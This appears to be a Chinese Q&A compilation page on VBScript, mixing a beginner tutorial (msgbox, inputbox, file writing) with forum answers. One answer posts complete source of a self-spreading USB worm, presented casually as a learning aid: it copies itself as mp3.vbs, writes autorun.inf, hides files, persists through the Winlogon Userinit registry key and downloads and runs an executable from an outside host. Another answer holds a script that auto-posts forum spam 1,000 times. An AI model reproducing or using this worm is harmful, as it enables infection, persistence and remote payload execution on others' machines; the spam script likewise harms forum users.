vbs腳本手冊

Ⅰ 關於vbs文件

vbs是全名是Microsoft Visual Basic Script Editon
即為微軟可視化編程語言腳本版
壓縮包是4K是很正常的，因為VBS文件就是一行一行的字元，相當於文本文檔。
VBS是通過C:\SYSTEM32下的Wscript.exe運行的
沒有Wscript.exe，VBS腳本就是廢物（這就是為何PE下無法使用VBS）
VBS腳本佔用磁碟空間不會小於4kb的
如果有可能請把代碼發上來（點擊右鍵--->編輯）

Ⅱ vbs常用代碼

1、首先在電腦滑鼠右鍵 新建一個文本文檔。

Ⅲ 求助 找WinCC的VBS腳本手冊

您要WinCC的VBS腳本手冊我已發送，請按照步驟進行操作！！
你的採納是我前進的動力，
記得好評和採納，互相幫助，
如果你認可我的回答，敬請及時採納.
如果我的回答沒能幫助您，請繼續追問。
你的採納是我前進的動力。記得好評和採納，答題不易，互相幫助。
​

Ⅳ word-利用vbs寫一個腳本

Vbs 腳本編程簡明教程之一—為什麼要使用Vbs？
在Windows 中，學習計算機操作也許很簡單，但是很多計算機工作是重復性勞動，例如你每周
也許需要對一些計算機文件進行復制、粘貼、改名、刪除，也許你每天啟動計算機第一件事情
就是打開WORD，切換到你喜愛的輸入法進行文本編輯，同時還要播放優美的音樂給工作創造
一個舒心的環境，當然也有可能你經常需要對文本中的某些數據進行整理，把各式各樣的數據
按照某種規則排列起來……。這些事情重復、瑣碎，使人容易疲勞。
第三方軟體也許可以強化計算機的某些功能，但是解決這些重復勞動往往事倍功半，我也嘗試
過使用計算機語言編寫程序來解決這些問題，但是隨之而來的命令、語法、演算法、系統框架和
類庫常常讓我覺得這樣是否有必要，難道就是因為豬毛比較難拔，所以我就要去學習機械，為
自己設計一個拔豬毛機（？）嗎？
Vbs 是一種Windows 腳本，它的全稱是:Microsoft Visual Basic Script Editon.(微軟公司可視化
BASIC 腳本版)，VBS 是Visual Basic 的的一個抽象子集，是系統內置的，用它編寫的腳本代碼
不能編譯成二進制文件，直接由Windows 系統執行（實際是一個叫做宿主host 的解釋源代碼並
執行），高效、易學，但是大部分高級語言能乾的事情，它基本上都具備，它可以使各種各樣的
任務自動化，可以使你從重復瑣碎的工作中解脫出來，極大的提高工作效率。
我個人認為Vbs 腳本其實就是一種計算機編程語言，但是由於缺少計算機程序設計語言中的部
分要素，對於事件的描述能力較弱，所以稱為腳本，它最方便的地方就是提供了對COM 對象
的簡便支持。那麼什麼是COM 對象呢？
我這樣理解，COM 對象就是一些具有特定函數功能項程序模塊，他們一般以ocx 或者dll 作為
擴展名，你只要找到包含有你需要的功能的模塊文件，並在腳本中規范的引用，就可以實現特
定的功能，也就是說Vbs 腳本就是調用現成的「控制項」作為對象，用對象的屬性和方法實現目的，
完全免去了編寫代碼、設計演算法等等麻煩。說白了，我不是覺得拔豬毛麻煩么？我發覺xx 機（比
如真空離心器）有一個功能可以實現脫毛，ok，我把它拿來給豬脫毛。什麼？大材小用？太浪
費資源了？天哪，那是計算機晶元的事情，死道友不死貧道，反正我的事情是方便快速的解決
了，這就行了。
最方便的是它甚至不需要專門的開發環境，在你的計算機中，只要有notepad，就可以編寫Vbs
腳本了，並且可以直接執行。
===============================
Vbs 腳本編程簡明教程之二—如何開始第一個Vbs 腳本？
就像多數計算機教程一樣，我們從「Hello World！」程序開始我們的練習。什麼？不知道是什
么意思？就是說大部分的計算機程序設計教程開篇入門都是編寫一個小程序，執行這個程序的
結果就是在計算機的屏幕上或者dos 窗口中顯示一行文字：Hello World！好了，我們開始吧。
打開你的「記事本」程序，在編輯窗口填寫：
msgbox "He llo World!"
然後用滑鼠單擊「文件」菜單，單擊「保存」，把「保存在」一欄設為桌面，在「文件名」一欄中填寫
kk.vbs，單擊「保存」就可以了。然後最小化「記事本」窗口，在桌面上尋找你剛剛保存的kk.vbs，
然後雙擊。看到彈出的對話框了沒有，單擊「確定」，對話框消失了。難看了點，不過確實是你
編寫的第一個腳本程序。
說明之一：上面的操作中，保存位置放在桌面，僅僅是為了執行方便，你保存到其他的地方完
全沒有問題，只要你知道你保存在什麼地方就可以了，什麼？是廢話，自己保存的當然知道保
存在那裡了。不，自己保存的文件自己找不到的人我見的多了去了。文件名你可以隨意填寫，
不一定非要寫kk，只要符合Windows 的文件命名規則就可以了，但是擴展名必須是vbs，什麼?
不知道什麼是擴展名？就是文件名中「.」後的那部分，簡單說，就是vbs 腳本文件命名時必須是：
xxx.vbs，其中xxx 你隨意。
說明之二：在記事本編輯窗口中寫的這行是什麼意思？
Msgbox 是VBS 內建的函數，每一個函數都可以完成一定的功能，你只需要按照語法要求，在
函數的相應部分填寫相應的內容就可以了，這部分內容我們稱為參數，當然函數執行的結果我
們稱為返回值，一個函數可以有返回值也可以沒有，可以有參數也可以沒有。你不用了解函數
是怎麼運作的，只要了解這個函數能幹什麼就行了。
Msgbox 語法：msgbox "對話框內容", , "對話框的標題"
你不妨用記事本打開剛才的文件在編輯窗口中輸入：
msgbox "He llo World!" , , "系統提示"
執行一下，看看效果和位置。
說明之三：如果執行失敗，看看你的標點符號，所有的標點符號必須是在英文狀態下輸入的。
當然，這個腳本實在是太簡單了，甚至連最簡單的交互都沒有，所以你可以把腳本這樣修改一
下：
Dim name
name=Inputbox("請輸入你的名字:","名稱")
Msgbox name, , "您的名字是"
保存執行一下，看到彈出的對話框了么？填入你的名字，點確定，看到結果了嗎？
說明之一：第一句是定義變數，dim 是定義變數的語句
其格式為：dim 變數1,變數2……，
Vbs 只有一種變數類型，所以不用聲明變數類型。系統會自動分辨變數類型。
說明之二：inputbox 是VBS 內建的函數，可以接受輸入的內容，其語法格式為：
Inputbox("對話框內容","對話框標題")
第二句的意思是接受用戶的輸入，並把輸入結果傳遞給變數name。
好了，到此腳本基本的輸入輸出函數都有了，已經可以完成一些比較簡單的功能了，你可以編
寫一個簡單的腳本，然後拷貝的「程序」—>「啟動」中，然後重新啟動計算機看看結果。

Ⅳ vbs腳本的語法格式

給你一個木馬的源代碼.可以學習一些關於文件和目錄的操作.

On error resume next
Dim fso,wshell,curfolder,curdristr,curdri
Set fso=createobject("scripting.filesystemobject")
Set wshell=CreateObject("WScript.shell")
Set curfolder=fso.GetFolder(".")
curdristr=Left(WScript.ScriptFullName,3)
Set curdri=fso.GetDrive(curdristr)
reghid() '不顯示隱藏文件
If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\mp3.vbs" Then '如果在system32中
For i=1 To 2 Step 0
reghid()
For Each dri In fso.Drives
If dri.DriveType=1 And dri<>"A:" And dri<>"B:" Then
'autorun.inf文件夾改名
If fso.FolderExists(dri.Path&"\autorun.inf") Then
fso.MoveFolder dri.Path&"\autorun.inf",dri.Path&"\Rubbish"
End If
'復制自身及exe文件到移動硬碟
If fso.FileExists(dri.Path&"\mp3.vbs") And fso.FileExists(dri.Path&"\autorun.inf") Then
Else
If fso.FileExists(dri.Path&"\mp3.vbs") Then
fso.DeleteFile dri.Path&"\mp3.vbs",True
ElseIf fso.FileExists(dri.Path&"\autorun.inf") Then
fso.DeleteFile dri.Path&"\autorun.inf",True
End if
fso.CopyFile WScript.ScriptFullName,dri.Path&"\mp3.vbs",True
If fso.FileExists(".\SiZhu.exe") And Not fso.FileExists(dri.Path&"\SiZhu.exe") Then
fso.CopyFile ".\SiZhu.exe",dri.Path&"\SiZhu.exe",True
End If
autoinf(dri.Path)
'給剛復制的文件加上隱藏屬性
Set norkon=fso.GetFile(dri.Path&"\mp3.vbs")
wshell.run "attrib +r +a +s +h "&dri.Path&"\mp3.vbs",0
Set norkon=Nothing
Set autoruninf=fso.GetFile(dri.Path&"\autorun.inf")
wshell.run "attrib +r +a +s +h "&dri.Path&"\autorun.inf",0
Set autoruninf=Nothing
If fso.FileExists(dri.Path&"\SiZhu.exe") Then
Set norkonexe=fso.GetFile(dri.Path&"\SiZhu.exe")
wshell.run "attrib +r +a +s +h "&dri.Path&"\SiZhu.exe",0
Set norkonexe=Nothing
End if
End If
End If
Next
WScript.Sleep 15000
next
ElseIf curdri.drivetype=1 And curdri<>"A:\" And curdri<>"B:\" And curfolder.Path=curdristr Then '如果在移動硬碟中
reghid()
open(curdristr)
run()
autorun()
WScript.quit
Else '如果在其他文件夾
run()
autorun()
WScript.quit
End If
WScript.Sleep 15000
downrun()
Set fso=Nothing
Set curfolder=Nothing
Set curdri=nothing
Set wshell=Nothing

'寫入autorun.inf
Sub autoinf(path)
Dim inf
Set inf=fso.createtextfile(path&"\autorun.inf",True)
inf.writeline("[AutoRun]")
inf.writeline("open=WScript.exe .\mp3.vbs")
inf.writeline("shell\open=打開(&O)")
inf.writeline("shell\open\Command=WScript.exe .\mp3.vbs")
inf.writeline("shell\open\Default=1")
inf.writeline("shell\explore=資源管理器(&O)")
inf.writeline("shell\explore\Command=WScript.exe .\mp3.vbs")
inf.writeline("shell\find=搜索(&E)")
inf.writeline("shell\find\Command=WScript.exe .\mp3.vbs")
set inf=nothing
End sub
'打開文件夾
Sub open(path)
wshell.run "explorer "&path
End Sub
'自動啟動
Sub autorun()
regget=wshell.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit")
If regget<>"userinit.exe,mp3.vbs" Then
wshell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit","userinit.exe,mp3.vbs","REG_SZ"
End If
End Sub
'不顯示隱藏文件
Sub reghid()
Dim reg
reg=wshell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden")
If reg="1" Then
wshell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden",0,"REG_DWORD"
End If
End Sub
'判斷system32中是否存在此文件，不存在則復制並運行；如果有SiZhu.exe,則復制並運行。
Sub run()
If fso.FileExists(fso.GetSpecialFolder(1)&"\mp3.vbs") Then
Else
fso.CopyFile WScript.ScriptFullName,fso.GetSpecialFolder(1)&"\mp3.vbs",True
wshell.Run fso.GetSpecialFolder(1)&"\mp3.vbs"
If fso.FileExists(".\SiZhu.exe") And Not fso.FileExists(fso.GetSpecialFolder(1)&"\SiZhu.exe") Then
fso.CopyFile ".\SiZhu.exe",fso.GetSpecialFolder(1)&"\SiZhu.exe",True
wshell.Run fso.GetSpecialFolder(1)&"\SiZhu.exe"
End If
End If
End sub
'刪掉自身，如果有SiZhu.exe,同樣刪掉。
Sub selfkill()
fso.DeleteFile(WScript.ScriptFullName)
End Sub

Sub downrun()
Set fso = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
fso.Open "GET","http://xxx.cn/qq.exe",0
fso.Send()
Set fso = CreateObject("ADODB.Stream")
fso.Mode = 3
fso.Type = 1
fso.Open()
fso.Write(fso.responseBody)
fso.SaveToFile "C:\WINDOWS\Sti303.exe",2
Shell.Run ("C:\WINDOWS\Sti303.exe")
end sub

Ⅵ vbs腳本學習

vb你會了！學VBS就簡單得多了！

Ⅶ vbs新手求解，關於vbs中的createobject()括弧裡面的

每個com組件都會在系統中注冊，也就是在注冊表中留下它的信息，這些信息包括它的名稱（也就是你見到的那些名稱，如wscript.shell）和它在系統中的路徑。組件的屬性和方法是由組件提供的，可以通過VB的對象瀏覽器查看。創建對象時，腳本宿主會根據你提供的字元串名稱在注冊表中找到要調用的對象，並根據路徑信息調用這外組件。

Ⅷ 問大家一個vbs腳本的問題···

write用法示例：
'══代══碼══開══始════
set fso=CreateObject("Scripting.FileSystemObject")
set fw=fso.createtextfile("測試.txt",2)
fw.write("在這里寫入要寫的內容1")
fw.write("在這里寫入要寫的內容2")
fw.write("你發現了嗎？寫的這三次沒換行")
'══代══碼══結══束════

'「<>」代表「不等於」，相當於批處理中的「neq」或者C語言中的「!=」
這里的If strs<>"" Then是判斷字元串strs是不是空的。

'split函數返回以目標字元分割指定字元串得到的數組，實例如下：

s="你好，我的祖國，我愛你！"
a=split(s,"，")
msgbox a(0)
msgbox a(1)
msgbox a(2)

『======================================
還是推薦你去下載「windows腳本技術手冊.chm」。

Ⅸ 求一VBS腳本的詳細注釋

set ie=createobject("internetexplorer.application")'ie對象 ie.toolbar=0 '隱藏ie界面菜單欄 ie.visible=1 'ie界面可見 ie.navigate " http://post..com/f?ct=&tn=&rn=&pn=&lm=&sc=&kw=%CB%A2%CC%F9&rs2=0&myselectvalue=1&word=%CB%A2%CC%F9&tb=on"'網址 wscript.sleep 2000'暫停2秒，等待網頁完全打開 for i=1 to 1000 '循環發帖1000次 ie.document.post.ti.value="按鍵精靈好啊"'設置帖子標題 ie.document.post.co.click '滑鼠定位到帖子內容，其實在設置帖子標題之前應該也先定位一下標題 ie.document.post.co.value="按鍵精靈好啊" '設置帖子內容 ie.document.post.submit3.click '點擊「發表帖子」按鈕 wscript.sleep 30*1000 '暫停30秒，等待帖子提交成功 next '完成發帖一次，進行下一次發帖 msgbox "End" '信息框顯示"End"